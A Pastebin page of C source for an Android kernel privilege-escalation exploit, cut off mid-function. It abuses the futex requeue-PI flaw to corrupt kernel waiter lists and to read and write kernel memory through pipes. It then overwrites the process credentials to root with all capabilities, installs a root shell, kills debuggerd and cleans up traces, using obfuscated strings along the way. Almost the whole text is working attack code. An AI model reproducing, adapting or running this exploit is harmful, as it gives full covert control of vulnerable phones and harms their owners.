Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <android/log.h>
- #include <unistd.h>
- #include <linux/futex.h>
- #include <pthread.h>
- #include <unistd.h>
- #include <sys/syscall.h>
- #include <sys/resource.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <errno.h>
- #include <sys/stat.h>
- #include <sys/system_properties.h>
- #include <sys/mount.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/uio.h>
- #include <limits.h>
- #include <fcntl.h>
- #include <getopt.h>
- #include <stdint.h>
- #include <pwd.h>
- #include <arpa/inet.h>
- #include <sys/mman.h>
- #include "log.h"
- #include "shell_params.h"
- #include "deobfuscate.h"
- #include "utils.h"
- #include "boot_manager.h"
- #include "ps.h"
- #include "waiter_exploit.h"
- #include "shell_installer.h"
- struct mmsghdr {
- struct msghdr msg_hdr;
- unsigned int msg_len;
- };
- #ifndef FUTEX_WAIT_REQUEUE_PI
- #define FUTEX_WAIT_REQUEUE_PI 11
- #endif
- #ifndef FUTEX_CMP_REQUEUE_PI
- #define FUTEX_CMP_REQUEUE_PI 12
- #endif
- #define UNUSED 0
- #define ERROR 0
- #define ROOT_SUCCESS 1
- #define FIX_SUCCESS 2
- #define ALL_DONE 3
- #define KERNEL_START 0xc0000000
- unsigned char ptmx[] = "\x83\x0c\x86\xb4\xff\xfe\x0d\xb4\xf3\x0f\xf6\x0b"; // "/dev/ptmx"
- unsigned char system_str[] = "\xdf\x2e\xf6\x30\xf4\xfa\xf4\xf7\xc6\xce"; // "/system"
- unsigned long addr, hacked_node, hacked_node_alt;
- int PORT = 58222;
- int HACKS_fdm = 0;
- pid_t waiter_thread_tid;
- pthread_mutex_t done_lock;
- pthread_mutex_t done_kill_lock;
- pthread_mutex_t thread_returned_lock;
- pthread_cond_t done;
- pthread_cond_t done_kill;
- pthread_cond_t thread_returned;
- pthread_mutex_t is_thread_desched_lock;
- pthread_cond_t is_thread_desched;
- pthread_mutex_t is_thread_awake_lock;
- pthread_cond_t is_thread_awake;
- int lock1 = 0;
- int lock2 = 0;
- pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;
- pthread_mutex_t *is_kernel_writing;
- int pipe_fd[2];
- int sockfd;
- pid_t tid_12 = 0;
- pid_t tid_11 = 0;
- unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;
- unsigned long t11;
- unsigned long lock;
- char shell_server[256];
- int loop_limit = 10;
- pid_t remove_pid[1024];
- unsigned long remove_waiter[1024];
- int remove_counter = 0;
- char rcs[512];
- struct device_config {
- int is_samsung;
- int iovstack;
- int offset;
- int force_remove;
- };
- struct device_config goldfish_kernel = { 0, 6, 0, 0};
- struct device_config default_kernel = { 0, 2, 0, 0};
- struct device_config samsung_kernel = { 1, 2, 0x1cd4, 1};
- struct device_config samsung_old_kernel = { 0, 1, 0, 1 };
- struct device_config sam_grand_kernel = { 0, 5, 0, 1 };
- struct device_config test_kernel = { 0, 4, 0, 1 };
- struct device_config *current_cfg = NULL;
- const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
- const char str_1[] = {1, 0, 0, 0, 0};
- void reset_hacked_list(unsigned long hacked_node);
- /*********************/
- /*** PIPE STUFF ******/
- /*********************/
- // Pipe server
- static int start_pipe_server() {
- int nbytes,msg;
- int done_root = 0;
- /* Parent process closes up output side of pipe */
- close(pipe_fd[1]);
- LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());
- while(1) {
- /* Read in a message from the exploiting process */
- nbytes = read(pipe_fd[0], &msg, sizeof(msg));
- if(nbytes <= 0) exit(0);
- if(msg == ROOT_SUCCESS) {
- LOGD("[CONTROLLER] Exploit succeded\n");
- done_root = 1;
- }
- if(msg == FIX_SUCCESS) {
- LOGD("[CONTROLLER] Fix succeded\n");
- }
- if(msg == ALL_DONE) {
- LOGD("[CONTROLLER] Exploit completed\n");
- if(done_root)
- return 1;
- }
- if(msg == ERROR) {
- if(done_root) {
- LOGD("[CONTROLLER] Error but exploit succeded\n");
- return 1;
- }
- else {
- LOGD("[CONTROLLER] Error received\n");
- return 0;
- }
- }
- }
- }
- // Send a message to the controller
- static void send_pipe_msg(int msg) {
- int msg_to_send;
- msg_to_send = msg;
- write(pipe_fd[1], &msg, sizeof(msg));
- }
- // Read kernel space using pipe
- ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
- int pipefd[2];
- ssize_t len;
- pipe(pipefd);
- len = write(pipefd[1], writebuf, count);
- if (len != count) {
- LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
- return -1;
- }
- read(pipefd[0], readbuf, count);
- LOGD("[PIPE] Read %d bytes\n", count);
- close(pipefd[0]);
- close(pipefd[1]);
- return len;
- }
- // Write in kernel space using pipe
- ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
- int pipefd[2];
- ssize_t len;
- int ret = 0;
- pipe(pipefd);
- ret = write(pipefd[1], writebuf, count);
- len = read(pipefd[0], readbuf, count);
- if (len != count) {
- LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
- return -1;
- }
- else
- LOGD("[PIPE] Written %d bytes\n", (int)len);
- close(pipefd[0]);
- close(pipefd[1]);
- return len;
- }
- /*********************/
- /**** SOCKET STUFF ***/
- /*********************/
- void *accept_socket(void *arg) {
- int yes;
- struct sockaddr_in addr = {0};
- int ret;
- int sock_buf_size;
- socklen_t optlen;
- sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
- if(sockfd < 0) {
- LOGD("[ACCEPT SOCKET] Socket creation failed\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- yes = 1;
- setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
- // We need set the socket kernel buffer as smaller as possible.
- // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
- sock_buf_size = 1;
- setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
- addr.sin_family = AF_INET;
- addr.sin_port = htons(PORT);
- addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
- LOGD("[ACCEPT SOCKET] Socket bind failed\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- if(listen(sockfd, 1) < 0) {
- LOGD("[ACCEPT SOCKET] Socket listen failed\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- while(1) {
- ret = accept(sockfd, NULL, NULL);
- if (ret < 0) {
- LOGD("[ACCEPT SOCKET] Socket accepr failed\n");
- send_pipe_msg(ERROR);
- exit(-1);
- } else {
- LOGD("[ACCEPT SOCKET] Client accepted!\n");
- }
- }
- return NULL;
- }
- int make_socket() {
- int sockfd;
- struct sockaddr_in addr = {0};
- int ret;
- int sock_buf_size;
- socklen_t optlen;
- sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
- if (sockfd < 0) {
- LOGD("[MAKE SOCKET] socket failed.\n");
- send_pipe_msg(ERROR);
- exit(-1);
- } else {
- addr.sin_family = AF_INET;
- addr.sin_port = htons(PORT);
- addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- }
- while (1) {
- ret = connect(sockfd, (struct sockaddr *)&addr, 16);
- if (ret >= 0) {
- break;
- }
- usleep(10);
- }
- // We need set the socket kernel buffer as smaller as possible
- // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
- sock_buf_size = 1;
- setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
- return sockfd;
- }
- /*************************/
- /**** KERNEL STUFF *******/
- /*************************/
- void stop_for_error() {
- LOGD("[ERROR] Sleeping for error");
- send_pipe_msg(ERROR);
- while(1)
- sleep(10);
- }
- // Remove a pending waiter
- void remove_remaining_waiter(int index) {
- unsigned long addr;
- unsigned long val[4];
- LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);
- addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- reset_hacked_list(0xbeffe0);
- // Create a correct next and previous waiter
- *((unsigned long *)0xbf0004) = remove_waiter[index]; // (entry->next)->prev
- *((unsigned long *)0xbeffe0) = remove_waiter[index]; // (entry->prev)->next
- *((unsigned long *)0xbf000c) = (remove_waiter[index]+8); // (entry->node_next)->node_prev
- *((unsigned long *)0xbeffe8) = (remove_waiter[index]+8); // (entry->node_prev)->node_next
- val[0] = 0xbf0000;
- val[1] = 0xbeffe0;
- val[2] = 0xbf0008;
- val[3] = 0xbeffe8;
- write_pipe((void *)(remove_waiter[index]), &val, 16);
- // Now we can kill the waiter safely
- pthread_mutex_lock(&is_thread_awake_lock);
- kill(remove_pid[index], 14);
- pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
- pthread_mutex_unlock(&is_thread_awake_lock);
- munmap((unsigned long *)0xbef000, 0x2000);
- }
- // Fix the kernel waiter list
- int fix_kernel_waiter_list(unsigned int head) {
- unsigned int val, val2, val3, list, prio6, prio3;
- int i, err = 0, ret = 0;
- unsigned long w[4];
- unsigned int as[12];
- LOGD("[FIXER] prio 6 at %x\n", head);
- list = head + 4;
- // Save the prio6 waiter
- read_pipe((void *) list, &prio6, 4);
- // Save the prio3 waiter
- read_pipe((void *) (list+4), &prio3, 4);
- // Fix prio3
- ret = write_pipe((void *) (prio3+4), &t11, 4); // prio_list->prev
- if(ret == -1)
- err = 1;
- #ifdef DEBUG
- //////////////// Just debug //////////////////////////////
- read_pipe((void *) (list-4), &as, 48);
- LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n",
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- //////////////////////////////////////////////
- #endif
- // Find the first waiter before the hacked waiter. We need to fix it
- for(i = 0; i < 2; i++) {
- read_pipe((void *) list, &val, 4);
- list = val;
- if(i == 0) {
- // At the beginning we need to save the lock pointer
- read_pipe((void *) (list + 40), &lock, 4);
- #ifdef DEBUG
- //////////////// Just debug //////////////////////////////
- read_pipe((void *) (list-4), &as, 48);
- LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n",
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- //////////////////////////////////////////////
- #endif
- }
- }
- // Adjust the lock->next pointer
- LOGD("[FIXER] Looking for the lock next offset address\n");
- if(lock) {
- for(i = 0; i < 5; i++) {
- read_pipe((void *) (lock + (i * 4)), &val3, 4);
- if(val3 == (prio3 + 8)) {
- LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));
- lock = lock + (i * 4);
- }
- }
- }
- // Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter
- val2 = t11 + 8;
- ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev
- if(ret == -1)
- err = 1;
- // Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter
- val2 = t11+8;
- ret = write_pipe((void *) (list), &t11, 4); // prio_list->next
- if(ret == -1)
- err = 1;
- ret = write_pipe((void *) (list + 8), &val2, 4); // node_list->next
- if(ret == -1)
- err = 1;
- // Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter
- w[0] = prio3; // prio_list->next
- w[1] = list; // prio_list->prev
- w[2] = lock; // node_list->next
- w[3] = list + 8; // node_list->prev
- ret = write_pipe((void *) t11, &w, 16);
- if(ret == -1)
- err = 1;
- LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);
- LOGD("[FIXER] All done!\n");
- #ifdef DEBUG
- ///////////////////////////// DEBUG ////////////////////////////7
- read_pipe((void *) (prio3-4), &as, 48);
- LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4),
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- read_pipe((void *) (head), &as, 48);
- LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head),
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- read_pipe((void *) (prio6-4), &as, 48);
- LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4),
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- read_pipe((void *) (list - 4), &as, 48);
- LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4),
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- read_pipe((void *) (t11-4), &as, 48);
- LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4),
- as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
- read_pipe((void *) (lock), &as, 16);
- LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);
- //////////////////////////////////////////////
- #endif
- sleep(1);
- return err;
- }
- // Hack in the kernel
- void hack_the_kernel(int signum) {
- char *slavename;
- int pipefd[2];
- char readbuf[0x100];
- unsigned long thread_info_dump[4];
- unsigned long task_struct_dump[0x200];
- unsigned long cred_struct_dump[0x40];
- unsigned long cred_struct_dump_orig[0x40];
- unsigned long group_info_struct_dump[6];
- unsigned long group_info_struct_dump_orig[6];
- pid_t pid;
- int i, ret;
- unsigned long val1, val2;
- int err = 0;
- leaker_pid = gettid();
- pthread_mutex_lock(&is_thread_awake_lock);
- pthread_cond_signal(&is_thread_awake);
- pthread_mutex_unlock(&is_thread_awake_lock);
- // Check if we are the first or the second evil thread
- if (final_kstack_base == 0) {
- LOGD("[FIRST KERNEL HACK] First evil thread started\n");
- pthread_mutex_lock(is_kernel_writing);
- // We need to use a pipe... Open a pts device to use it
- HACKS_fdm = open(deobfuscate(ptmx), O_RDWR);
- unlockpt(HACKS_fdm);
- slavename = ptsname(HACKS_fdm);
- open(slavename, O_RDWR);
- LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");
- if(current_cfg->is_samsung) {
- pipe(pipefd);
- syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
- }
- else {
- read(HACKS_fdm, readbuf, 0x100);
- }
- // Here the TRIGGER told us to continue the dirty job
- // Update the thread_info struct of the second evil thread using the pipe.
- write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);
- LOGD("[FIRST KERNEL HACK] All Done!\n");
- // Tell the second thread that now can continue
- pthread_mutex_unlock(is_kernel_writing);
- // Add a waiter at the beginning of the list so we can leak it
- LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");
- setpriority(PRIO_PROCESS, 0, 4);
- LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());
- syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
- // If we are here the stack modifier has been killed
- LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());
- // Tell to the second evil thread that it can fix the waiter list now
- pthread_mutex_lock(&done_kill_lock);
- pthread_cond_signal(&done_kill);
- pthread_mutex_unlock(&done_kill_lock);
- sleep(5);
- return;
- }
- //////////////////////////////////////////
- // From here we are the second evil thread
- LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");
- pthread_mutex_lock(is_kernel_writing);
- sleep(2);
- LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
- read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
- read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
- LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);
- val1 = 0;
- val2 = 0;
- pid = 0;
- LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");
- // Parse the task_struct dump in order to find the cred struct pointer
- // If we have four succesive kernel pointer -> we have the cred struct
- for (i = 0; i < 0x200; i++) {
- if (task_struct_dump[i] == task_struct_dump[i + 1]) {
- if (task_struct_dump[i] > 0xc0000000) {
- if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
- if (task_struct_dump[i + 2] > 0xc0000000) {
- if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
- if (task_struct_dump[i + 4] > 0xc0000000) {
- if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
- if (task_struct_dump[i + 6] > 0xc0000000) {
- val1 = task_struct_dump[i + 7]; // Found offset for the cred struct
- LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));
- break;
- }
- }
- }
- }
- }
- }
- }
- }
- }
- if(!val1) {
- LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");
- stop_for_error();
- }
- LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");
- // Update the cred struct
- read_pipe((void *)val1, cred_struct_dump, 0x100);
- memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct
- val2 = cred_struct_dump[0x16]; // group_info struct
- if (val2 > 0xc0000000) {
- if (val2 < 0xffff0000) {
- read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump
- memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);
- if (group_info_struct_dump[0] != 0) {
- if (group_info_struct_dump[1] != 0) {
- if (group_info_struct_dump[2] == 0) {
- if (group_info_struct_dump[3] == 0) {
- if (group_info_struct_dump[4] == 0) {
- if (group_info_struct_dump[5] == 0) {
- group_info_struct_dump[0] = 1; // atomic_t usage
- group_info_struct_dump[1] = 1; // int ngroups
- // Update the group_info struct in the kernel
- LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");
- write_pipe((void *)val2, group_info_struct_dump, 0x18);
- }
- }
- }
- }
- }
- }
- }
- }
- // Update the cred struct
- cred_struct_dump[1] = 0; // uid
- cred_struct_dump[2] = 0; // gid
- cred_struct_dump[3] = 0; // suid
- cred_struct_dump[4] = 0; // sgid
- cred_struct_dump[5] = 0; // euid
- cred_struct_dump[6] = 0; // egid
- cred_struct_dump[7] = 0; // fsuid
- cred_struct_dump[8] = 0; // fsgid
- cred_struct_dump[10] = 0xffffffff; // cap_inheritable
- cred_struct_dump[11] = 0xffffffff; // cap_permitted
- cred_struct_dump[12] = 0xffffffff; // cap_effective
- cred_struct_dump[13] = 0xffffffff; // cap_bset
- cred_struct_dump[14] = 0xffffffff; // jit_keyring
- cred_struct_dump[15] = 0xffffffff; // *session_keyring
- cred_struct_dump[16] = 0xffffffff; // *process_keyring
- cred_struct_dump[17] = 0xffffffff; // *thread_keyring;
- LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");
- // Update the cred struct in the kernel
- write_pipe((void *)val1, cred_struct_dump, 0x48);
- sleep(2);
- pid = syscall(__NR_gettid);
- // Update the pid
- LOGD("[SECOND KERNEL HACK] Looking for PID..\n");
- i = 0;
- while (1) {
- if (task_struct_dump[i] == pid) {
- LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");
- write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);
- if (getuid() != 0) {
- LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");
- send_pipe_msg(ERROR);
- } else {
- LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");
- //////////// ROOT CODE HERE /////////////////
- // Fork and install the root shell
- if(fork() == 0) {
- /// REMOTE and LIB: extract all and install the shell
- #ifndef LOCAL
- if(rcs[0])
- extract_shell_files(rcs);
- else
- extract_shell_files(NULL);
- install_shell(NULL);
- /// LOCAL: just install the shell
- #else
- install_shell(shell_server);
- #endif
- kill_debuggerd();
- sleep(3);
- #ifndef LOCAL
- cleanup();
- #endif
- exit(0);
- }
- //////////////////////////////////////////////
- sleep(3);
- close(sockfd);
- send_pipe_msg(ROOT_SUCCESS);
- break;
- }
- }
- i++;
- }
- // Fix cred_struct and group_info_struct with originals
- //sleep(3); // be sure nothing is happening before to fix
- LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");
- write_pipe((void *)val1, cred_struct_dump_orig, 0x48);
- sleep(2);
- LOGD("[SECOND KERNEL HACK] Fixing group info\n");
- write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);
- sleep(2);
- // To fix the waiter list we need to know where is the beginning of the list (we hacked it).
- // To do that we use the leaker thread that has a waiter with prio 3
- LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);
- LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
- read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
- read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
- LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);
- int k = 0;
- val1 = 0;
- val2 = 0;
- pid = 0;
- // Find the waiter in the task struct. We know is a bit after the cred_struct
- LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");
- // Parse the task_struct dump in order to find the cred struct pointer
- // If we have four succesive kernel pointer -> we have the cred struct
- for (i = 0; i < 0x200; i++) {
- if (task_struct_dump[i] == task_struct_dump[i + 1]) {
- if (task_struct_dump[i] > 0xc0000000) {
- if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
- if (task_struct_dump[i + 2] > 0xc0000000) {
- if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
- if (task_struct_dump[i + 4] > 0xc0000000) {
- if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
- if (task_struct_dump[i + 6] > 0xc0000000) {
- LOGD("[SECOND KERNEL HACK] We are at cred\n");
- // We need to find the waiter in the task_struct
- for(k = 0; k<100; k++) {
- if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {
- read_pipe((void *) task_struct_dump[k + i], &val1, 4);
- // Check a pointer pointing to 0x7b (123 = prio 3)
- //if(val1 == 0x7b) {
- if(val1 == 0x7c) {
- target_waiter = (unsigned int) task_struct_dump[k + i];
- LOGD("Found target_waiter %x\n", (unsigned int) target_waiter);
- sleep(2);
- break;
- }
- }
- }
- break;
- }
- }
- }
- }
- }
- }
- }
- }
- }
- if(!target_waiter)
- stop_for_error();
- // Get the next node, so the prio 6 node
- LOGD("[SECOND KERNEL HACK] Waiting the thread\n");
- pthread_mutex_lock(&done_kill_lock);
- // Ok now we need to remove
- int h;
- for(h = 0; h < remove_counter; h++)
- remove_remaining_waiter(h);
- if(fix_kernel_waiter_list(target_waiter) == 0)
- send_pipe_msg(FIX_SUCCESS);
- else
- stop_for_error();
- LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");
- // Kill the stack modifier
- kill(stack_modifier_tid,14);
- // Wait for the prio 4 node going out
- pthread_cond_wait(&done_kill, &done_kill_lock);
- LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");
- // We fixed everything, so we can leave now
- pthread_exit(NULL);
- }
- /***************************/
- /**** THREAD FOR WAITERS ***/
- /***************************/
- void thread_killer(int signum) {
- LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());
- pthread_mutex_lock(&is_thread_awake_lock);
- pthread_cond_signal(&is_thread_awake);
- pthread_mutex_unlock(&is_thread_awake_lock);
- pthread_exit(NULL);
- }
- // Add a new waiter in the list with a specific prio.
- void *make_action_adding_waiter(void *arg) {
- int prio;
- struct sigaction act;
- struct sigaction act3;
- int ret;
- prio = (int)arg;
- last_tid = syscall(__NR_gettid);
- pthread_mutex_lock(&is_thread_desched_lock);
- pthread_cond_signal(&is_thread_desched);
- // Handler to hack in the kernel.
- act.sa_handler = hack_the_kernel;
- act.sa_mask = 0;
- act.sa_flags = 0;
- act.sa_restorer = NULL;
- sigaction(12, &act, NULL);
- // Handler to kill useless threads.
- act3.sa_handler = thread_killer;
- act3.sa_mask = 0;
- act3.sa_flags = 0;
- act3.sa_restorer = NULL;
- sigaction(14, &act3, NULL);
- setpriority(PRIO_PROCESS, 0, prio);
- pthread_mutex_unlock(&is_thread_desched_lock);
- LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());
- ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
- LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());
- // The firs node that will exit. Kill some other thread
- if(prio == 11) {
- LOGD("[MAKE ACTION] Killing prio 11\n");
- pthread_mutex_lock(&is_thread_awake_lock);
- kill(tid_11, 14);
- pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
- pthread_mutex_unlock(&is_thread_awake_lock);
- LOGD("[MAKE ACTION] Killing prio 7\n");
- pthread_mutex_lock(&is_thread_awake_lock);
- kill(pid7, 14);
- pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
- pthread_mutex_unlock(&is_thread_awake_lock);
- LOGD("[MAKE ACTION] All done!\n");
- sleep(1);
- pthread_exit(NULL);
- }
- // Last node will exit
- if(prio == 6) {
- LOGD("[MAKE ACTION] Prio 6 node is exiting\n");
- // Notify the main that we finished
- pthread_mutex_lock(&done_lock);
- pthread_cond_signal(&done);
- pthread_mutex_unlock(&done_lock);
- pthread_exit(NULL);
- }
- // Never reached
- return NULL;
- }
- // Create a new thread to add a new waiter with a prio
- pid_t wake_actionthread(int prio) {
- pthread_t th4;
- pid_t pid;
- LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");
- // Create the thread that will add a new lock.
- pthread_mutex_lock(&is_thread_desched_lock);
- pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);
- pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
- LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");
- pid = last_tid;
- // Needed to be sure that the new thread is waiting to acquire the lock
- sleep(1);
- pthread_mutex_unlock(&is_thread_desched_lock);
- // Return the new thread created
- return pid;
- }
- // This is the first evil thread.
- // When the vuln is triggered will use a syscall to modify the kernel stack.
- void *stack_modifier(void *name)
- {
- pthread_t l8;
- int sockfd, ret;
- struct mmsghdr msgvec[1];
- struct iovec msg_iov[8];
- unsigned long databuf[0x20];
- int i;
- char line[20];
- struct sigaction act3;
- stack_modifier_tid = gettid();
- LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());
- setpriority(PRIO_PROCESS , 0, 12);
- // Register an handle for a signal. We will use it to kill this thread later.
- act3.sa_handler = thread_killer;
- act3.sa_mask = 0;
- act3.sa_flags = 0;
- act3.sa_restorer = NULL;
- sigaction(14, &act3, NULL);
- for (i = 0; i < 0x20; i++) {
- databuf[i] = hacked_node;
- }
- for (i = 0; i <= 8; i++) {
- msg_iov[i].iov_base = (void *)hacked_node;
- msg_iov[i].iov_len = 0x80;
- }
- //msg_iov[IOVSTACK_TARGET] will be our new waiter.
- // iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.
- msg_iov[current_cfg->iovstack].iov_base = (void *)hacked_node;
- msg_iov[current_cfg->iovstack].iov_len = hacked_node_alt;
- // The new waiter will be something like that:
- // prio = hacket_node
- // prio_list->next = hacked_node_alt
- // prio_list->prev = hacket_node
- // node_list->next = 0x7d
- // node_list->prev = hacked_node
- // hacked_node will be somethin < 0 so a negative priority
- msgvec[0].msg_hdr.msg_name = databuf;
- msgvec[0].msg_hdr.msg_namelen = 0x80;
- msgvec[0].msg_hdr.msg_iov = msg_iov;
- msgvec[0].msg_hdr.msg_iovlen = 8;
- msgvec[0].msg_hdr.msg_control = databuf;
- msgvec[0].msg_hdr.msg_controllen = 0x20;
- msgvec[0].msg_hdr.msg_flags = 0;
- msgvec[0].msg_len = 0;
- sockfd = make_socket();
- LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");
- // Lets wait on lock1 to be requeued
- syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);
- // Ok, at this point the vulnerability shoud be triggered.
- // We can modify the waiters list in the kernel.
- LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n");
- LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n");
- // Use now a syscall deep to modify the waiter list.
- // sendmmsg -> sendmesg -> verify_iovec
- // verify_iovec will fille the iovstack structure of sendmesg and we know that
- // iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate
- while (1) {
- ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
- if (ret <= 0) {
- LOGD("[STACK MODIFIER] Sendmmsg Error\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- LOGD("[STACK MODIFIER] Done\n");
- break;
- }
- LOGD("[STACK MODIFIER] Leaving\n");
- }
- void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) {
- *((unsigned long *)(hacked_node_alt - 4)) = 0x81; // prio (120 + 9)
- *((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20; // prio_list->next
- *((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next
- *((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85; // prio (120 + 13)
- *((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt; // prio_list->prev
